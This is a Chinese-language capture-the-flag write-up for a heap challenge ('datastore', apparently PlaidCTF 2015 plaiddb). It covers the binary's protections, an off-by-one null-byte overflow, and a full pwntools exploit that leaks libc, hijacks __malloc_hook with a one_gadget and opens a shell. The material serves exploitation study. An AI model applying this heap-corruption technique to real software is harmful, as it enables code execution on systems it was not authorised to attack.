1、检查
[*] '/home/yzl/Documents/off_by_one/datastore'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
2、漏洞分析
v3先赋值,再+1,所以当row_key刚好到了临界区,刚好还没有扩大时,会有一个NULL 字节溢出。key_row会产生溢出的几个大小0x18,0x38,0x78,0xf8,0x1f8…
3、漏洞利用
当free b后,会通过unlink会将x+fast+a+b合并成一个大的unsort bin,而我们再将fast free后,再次申请chunk,便可以控制fast 的fd域,这就变成了uaf,从而实现任意写。
exp
from pwn import *
import LibcSearcher as ls
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./datastore')
libc= ELF("/lib/x86_64-linux-gnu/libc.so.6")
def GET(row_key):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("GET")
p.sendlineafter('PROMPT: Enter row key:\n',row_key)
def PUT(row_key,size,data):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("PUT")
p.sendlineafter('PROMPT: Enter row key:\n',row_key)
p.sendlineafter('PROMPT: Enter data size:\n', str(size))
if(len(data)<size):
data=data.ljust(size,'\x00')
p.sendafter('PROMPT: Enter data:\n',data)
def DUMP():
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("DUMP")
def DEL(row_key):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("DEL")
p.sendlineafter("PROMPT: Enter row key:\n",row_key)
def EXIT():
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("EXIT")
for i in range(10):#因为每个功能函数都用到了0x38 chunk,所以我们先构造一些,避免影响后面的利用
PUT(str(i), 0x38, 'a' * 0x18)
for i in range(10):
DEL(str(i))
PUT('x', 0x200, 'x' * 0x200)
PUT('fast', 0x68, 'fast')
PUT('fast2', 0x68, 'fast2')
PUT('a', 0x1f8, 'a' * 0x18)
PUT('b', 0xf0, 'b' * 0x18)
PUT('defense', 0x400, 'defense-data')#防止top bin的影响
DEL('a')
DEL('x')
DEL('1' * 0x1f0 + p64(0x4f0))#对b的pre_size域和prev_inuse进行覆盖
DEL('b')
PUT('0x200', 0x200, '0x200')
PUT('0x200plus',0x200,'0x200')
GET('fast')
p.recvuntil(']:\n')
leak = u64(p.recv(8).ljust(8, '\x00'))
libc_base= leak-(0x7ffff7dd1b78-0x7ffff7a0d000)
DEL('fast2')
PUT('0x68+0x68', 0x100, 'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 10-0x10+7))
PUT('pre', 0x68, 'aa')
one_gadget_offset = 0x4526a
one_gadget=one_gadget_offset+libc_base
PUT('attack',0x68,'a'*3+p64(one_gadget))
GET('fast')
p.interactive()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#2-plaidctf-2015-plaiddb
https://bbs.pediy.com/thread-246966.htm